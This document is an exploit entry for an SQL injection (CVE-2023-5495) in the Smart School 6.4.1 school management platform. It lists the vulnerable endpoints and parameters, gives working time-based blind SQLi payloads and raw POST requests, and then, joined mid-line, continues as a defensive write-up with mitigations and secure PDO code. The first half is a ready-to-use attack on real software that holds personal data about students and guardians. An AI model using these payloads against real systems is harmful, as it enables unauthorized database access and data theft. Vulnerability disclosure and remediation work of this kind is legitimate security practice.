Smart School 6.4.1 - SQL Injection
# Exploit Title: Smart School 6.4.1 - SQL Injection
# Exploit Author: CraCkEr
# Date: 28/09/2023
# Vendor: QDocs - qdocs.net
# Vendor Homepage: https://smart-school.in/
# Software Link: https://demo.smart-school.in/
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-5495
# CWE: CWE-89 - CWE-74 - CWE-707
## Greetings
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob
## Description
SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.
Path: /course/filterRecords/
POST Parameter 'searchdata[0][title]' is vulnerable to SQLi
POST Parameter 'searchdata[0][searchfield]' is vulnerable to SQLi
POST Parameter 'searchdata[0][searchvalue]' is vulnerable to SQLi
searchdata[0][title]=[SQLi]&searchdata[0][searchfield]=[SQLi]&searchdata[0][searchvalue]=[SQLi]
-------------------------------------------
POST /course/filterRecords/ HTTP/1.1
searchdata%5B0%5D%5Btitle%5D=rating&searchdata%5B0%5D%5Bsearchfield%5D=sleep(5)%23&searchdata%5B0%5D%5Bsearchvalue%5D=3
-------------------------------------------
searchdata[0][title]=[SQLi]&searchdata[0][searchfield]=[SQLi]&searchdata[0][searchvalue]=[SQLi]&searchdata[1][title]=[SQLi]&searchdata[1][searchfield]=[SQLi]&searchdata[1][searchvalue]=[SQLi]
Path: /course/filterRecords/
POST Parameter 'searchdata[0][title]' is vulnerable to SQLi
POST Parameter 'searchdata[0][searchfield]' is vulnerable to SQLi
POST Parameter 'searchdata[0][searchvalue]' is vulnerable to SQLi
POST Parameter 'searchdata[1][title]' is vulnerable to SQLi
POST Parameter 'searchdata[1][searchfield]' is vulnerable to SQLi
POST Parameter 'searchdata[1][searchvalue]' is vulnerable to SQLi
---
Parameter: searchdata[0][title] (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: searchdata[0][title]=Price&searchdata[0][searchfield]=1 or sleep(5)#&searchdata[0][searchvalue]=free&searchdata[1][title]=Sales&searchdata[1][searchfield]=sales&searchdata[1][searchvalue]=low
Parameter: searchdata[0][searchfield] (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: searchdata[0][title]=Price&searchdata[0][searchfield]=1 or sleep(5)#&searchdata[0][searchvalue]=free&searchdata[1][title]=Sales&searchdata[1][searchfield]=sales&searchdata[1][searchvalue]=low
Parameter: searchdata[0][searchvalue] (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: searchdata[0][title]=Price&searchdata[0][searchfield]=1 or sleep(5)#&searchdata[0][searchvalue]=free&searchdata[1][title]=Sales&searchdata[1][searchfield]=sales&searchdata[1][searchvalue]=low
Parameter: searchdata[1][title] (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: searchdata[0][title]=Price&searchdata[0][searchfield]=1 or sleep(5)#&searchdata[0][searchvalue]=free&searchdata[1][title]=Sales'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z&searchdata[1][searchfield]=sales&searchdata[1][searchvalue]=low
Parameter: searchdata[1][searchvalue] (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: searchdata[0][title]=Price&searchdata[0][searchfield]=1 or sleep(5)#&searchdata[0][searchvalue]=free&searchdata[1][title]=Sales&searchdata[1][searchfield]=sales&searchdata[1][searchvalue]=low'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z
---
-------------------------------------------
POST /course/filterRecords/ HTTP/1.1
searchdata[0][title]=[SQLi]&searchdata[0][searchfield]=[SQLi]&searchdata[0][searchvalue]=[SQLi]&searchdata[1][title]=[SQLi]&searchdata[1][searchfield]=[SQLi]&searchdata[1][searchvalue]=[SQLi]
-------------------------------------------
Path: /online_admission
---
Parameter: MULTIPART email ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: -----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="class_id"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="section_id"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="firstname"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="lastname"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="gender"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="dob"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="mobileno"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="email"\n\n'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="file"; filename=""\nContent-Type: application/octet-stream\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="father_name"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="mother_name"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_name"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_relation"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_email"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_pic"; filename=""\nContent-Type: application/octet-stream\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_phone"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_occupation"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_address"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="current_address"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="permanent_address"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="adhar_no"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="samagra_id"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="previous_school"\n\n\n-----------------------------320375734131102816923531485385--
---
POST Parameter 'email' is vulnerable to SQLi
POST /online_admission HTTP/1.1
-----------------------------320375734131102816923531485385
Content-Disposition: form-data; name="email"
*[SQLi]
-----------------------------320375734131102816923531485385
[-] Done Smart School 6.4.1 — SQL Injection (CVE-2023-5495): Overview
This article explains the SQL injection vulnerabilities discovered in Smart School (reported as CVE-2023-5495), the technical root causes, likely impact, detection strategies, and robust mitigation and remediation guidance for developers, administrators and security testers. The goal is to describe the issue clearly while focusing on defenses and secure coding patterns rather than providing exploit instructions.
Vulnerability snapshot
| Item | Details |
|---|---|
| Product | Smart School (QDocs) |
| Affected version | 6.4.1 (reported) |
| Vulnerability type | SQL Injection (CWE‑89) — time‑based and other SQLi techniques identified |
| Affected areas (reported) | POST endpoints that accept complex search/filter or form fields (examples include course filter and online_admission forms) |
| Impact | Unauthorized database access, data leakage, persistence manipulation, denial-of-service risk via heavy queries |
| CVE | CVE-2023-5495 |
What is SQL Injection (high level)
SQL injection occurs when an application embeds unsanitized user input directly into SQL queries, allowing an attacker to alter the intended query logic. Consequences range from data exposure to full compromise of the database or application behavior manipulation. Modern defenses rely on parameterized queries, proper input validation, least-privilege database access, and runtime protections (WAFs, database activity monitoring).
Technical root causes (typical patterns)
- Dynamic SQL is constructed by concatenating user-supplied strings (field names or values) without strict validation or parameterization.
- Inputs that are intended to be identifiers (e.g., column names) are accepted directly from the client instead of being validated against a whitelist.
- Form fields are used in queries without type checks or escaping, enabling time‑based or logical injection techniques when the database evaluates the injected payload.
Why this was critical for Smart School
School management platforms typically hold personal data (students, guardians, staff), grades, attendance and sometimes financial data. SQL injection in search/filter or admission endpoints can expose sensitive records, allow unauthorized updates or deletions, and enable attackers to escalate impact by pivoting from exposed credentials to other systems.
Detection and Indicators
Runtime indicators
- Unusual query latencies or spikes in response times (time‑based injection attempts often cause deliberate delays).
- Repeated requests containing characters and patterns commonly used in SQLi payloads (quotes, comment markers, SQL keywords in unexpected places).
- Database errors surfacing in application logs (stack traces, SQL syntax errors) after form submissions.
Logging and alerting
- Log inputs to sensitive endpoints (sanitized copies) and correlate with DB slow query logs.
- Create alerts for repeated malformed requests or for requests that trigger slow-query thresholds.
- Monitor database privilege use — unexpected SELECTs on sensitive tables or queries executed by low‑privilege accounts can be suspicious.
Non‑destructive testing guidance (authorized only)
Security testing should always be performed with authorization. Use non‑destructive methods such as code review, static analysis, and constrained dynamic tests. When performing dynamic tests, avoid destructive or time‑based payloads that impact availability or reveal production data.
Mitigation and Remediation
Short-term (immediate) steps
- Apply any vendor-provided security update or patch immediately. If a patch is not yet available, consider disabling or restricting access to vulnerable endpoints via network-level controls, authentication, or a WAF rule.
- Restrict the database account used by the web app to the minimum required privileges (avoid DBA-level rights for web app accounts).
- Enable verbose logging and audit trails for the affected endpoints to help detect exploitation attempts.
Long-term (code and architecture) fixes
- Use parameterized/prepared statements for all SQL that includes user-supplied values.
- Never use direct user input as SQL identifiers (table/column names) without strict whitelisting and mapping.
- Validate and canonicalize inputs at the earliest point possible (server-side validation). For example, validate emails with proper validators, numeric fields with numeric checks, and dates parsed with safe libraries.
- Use ORM frameworks that enforce parameterization and reduce manual SQL string assembly.
- Implement application-level access control and reduce what fields can be searched/filtered by end users.
Secure coding example (PHP + PDO)
Below is a safe pattern for handling a search/filter endpoint that accepts an array of search conditions. The example demonstrates: (1) whitelisting allowed searchable columns, (2) building the WHERE clause safely using placeholders, and (3) validating values.
<?php
// Example: secure handling of a search/filter POST payload using PDO
// 1) Define an explicit whitelist mapping for searchable columns
$allowedColumns = [
'title' => 'title',
'rating' => 'rating',
'price' => 'price',
'sales' => 'sales'
];
// 2) Assume incoming POST payload contains an array 'searchdata'
$searchData = $_POST['searchdata'] ?? [];
// 3) Prepare where fragments and parameters
$whereParts = [];
$params = [];
foreach ($searchData as $i => $cond) {
// Expecting each $cond to be an associative array with keys: field and value
$fieldKey = $cond['field'] ?? null;
$value = $cond['value'] ?? null;
// Whitelist the column name — reject anything not in the map
if (!isset($allowedColumns[$fieldKey])) {
// skip or log invalid filter attempt
continue;
}
// Build safe condition using a positional placeholder
$columnName = $allowedColumns[$fieldKey];
$whereParts[] = sprintf("%s = :v%d", $columnName, $i);
$params[":v{$i}"] = $value; // value remains untrusted, bound later
}
$whereSql = '';
if (!empty($whereParts)) {
$whereSql = 'WHERE ' . implode(' AND ', $whereParts);
}
// 4) Prepare and execute the query with PDO
$dsn = 'mysql:host=127.0.0.1;dbname=school;charset=utf8mb4';
$pdo = new PDO($dsn, 'db_user', 'db_pass', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
$sql = "SELECT id, title, rating, price, sales FROM courses {$whereSql} LIMIT 100";
$stmt = $pdo->prepare($sql);
$stmt->execute($params);
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
// 5) Return or render $results safely (encoded for output)
echo json_encode($results, JSON_UNESCAPED_UNICODE);
?>
Explanation: This code never inserts user input directly into SQL. Column names are selected from a known safe whitelist; values are bound via named placeholders so the database treats them as data. The LIMIT prevents unbounded results. Additional validations can be added per-column (e.g., numeric casts for integer columns).
Validating form fields (email example)
<?php
// Example: safe server-side email validation
$email = $_POST['email'] ?? '';
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
// reject or sanitize; do not pass invalid value to the database
throw new InvalidArgumentException('Invalid email address');
}
// Proceed to bind $email into a prepared statement for insertion
$stmt = $pdo->prepare('INSERT INTO applicants (email) VALUES (:email)');
$stmt->execute([':email' => $email]);
?>
Explanation: Use built-in validators such as filter_var for common formats. Reject invalid inputs rather than attempting ad-hoc escaping.
Supplementary defenses
- Web Application Firewall (WAF): Deploy tuned WAF rules to block common injection patterns and anomalous requests to sensitive endpoints. WAF should be a complement, not a substitute, for secure code.
- Database hardening: Configure query timeouts, resource limits, and remove unnecessary stored procedures or functions that could be abused.
- Least privilege: The application DB account should only have the minimum privileges required (SELECT/INSERT/UPDATE/DELETE only on needed tables).
- Input size limits: Enforce reasonable maximum lengths on fields to limit attack surface for payload-based injections.
Testing and verification
Validate fixes with a combination of code reviews, unit tests, and authorized dynamic analysis. Verify that:
- Whitelisted fields cannot be bypassed by crafted inputs.
- Prepared statements are used in all places where user data goes into SQL.
- Server and DB logs show no suspicious access patterns after patching and WAF deployment.
Incident response steps (if you suspect exploitation)
- Isolate affected endpoints (disable or restrict access) while preserving logs and evidence.
- Collect web server and database logs for the relevant timeframe; look for unusual queries or repeated parameter tampering.
- Rotate database credentials used by the application and any credentials found in logs.
- Restore from a clean backup if data integrity is in doubt and perform a forensic review.
- Notify stakeholders and follow legal/regulatory obligations regarding data breaches.
Summary and recommended checklist
- Apply vendor patches or updates immediately.
- Audit all SQL construction sites and replace string concatenation with parameterized queries.
- Whitelist and map any user-controllable identifiers (columns/tables) — never accept raw identifier input.
- Use server-side validation and output encoding, least-privilege DB accounts and WAF protections.
- Conduct authorized security testing and monitoring on an ongoing basis.
References and resources
- OWASP SQL Injection Prevention Cheat Sheet — guidance on parameterization and input validation.
- CVE-2023-5495 — vendor advisories and patch notes (check vendor site for official fixes).
- Secure coding resources for PHP/PDO and database configuration best practices.